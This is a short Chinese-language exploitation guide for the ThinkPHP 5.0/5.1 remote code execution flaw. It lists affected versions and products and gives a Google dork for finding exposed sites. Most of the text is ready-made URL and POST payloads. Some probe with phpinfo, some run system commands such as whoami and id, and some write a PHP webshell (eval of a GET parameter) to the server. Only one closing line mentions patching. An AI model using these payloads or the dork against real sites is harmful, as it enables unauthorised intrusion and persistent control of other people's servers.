Thinkphp5命令执行利用
漏洞概述
ThinkPHP是一个免费开源的,快速简单的面向对象的轻量级PHP开发框架。该框架常被用来进行二次开发,国内应用非常广泛。
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
intext:十年磨一剑 - 为API开发设计的高性能框架
影响版本:
- ThinkPHP 5.0.5-5.0.22
- ThinkPHP 5.1.0-5.1.30
影响范围:
- AdminLTE后台管理系统
- layui后台管理系统
- thinkcmf
- H-ui.admin后台管理系统
- tpshop
- FsatAdmin
- eyoucms
- LarryCMS后台管理系统
- tpadmin后台管理系统
- snake后台管理系统
- ThinkSNS
- DolphinPHP后台管理系统
- WeMall商城系统
- CLTPHP
- 齐博CMS
- DSMALL
- YFCMF
- HisiPHP后台管理系统
- Tplay后台管理系统
- lyadmin后台管理系统
- haoid后台管理系统
Google语法:
intext:十年磨一剑 - 为API开发设计的高性能框架
搜索得到:
通过phpinfo函数写出phpinfo()的信息,测试是否存在thinphp5的漏洞
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #普遍适用的playload
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1&vars[1][]=whoami
/?s=admin/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
进行远程命令执行:
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1&vars[1][]=whoami
/index.php?s=captcha post:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
index.php?s=captcha 或者 index.php post:c=system&f=ls&_method=filter
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
写入一句话或者大马:
/index.php/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=readme.txt&vars%5B1%5D%5B%5D=1
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php phpinfo();?>
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
漏洞防御:
目前,ThinkPHP官方已经发布更新修复了该漏洞,建议用户及时确认是否受到漏洞影响,尽快采取修补措施。官方链接如下: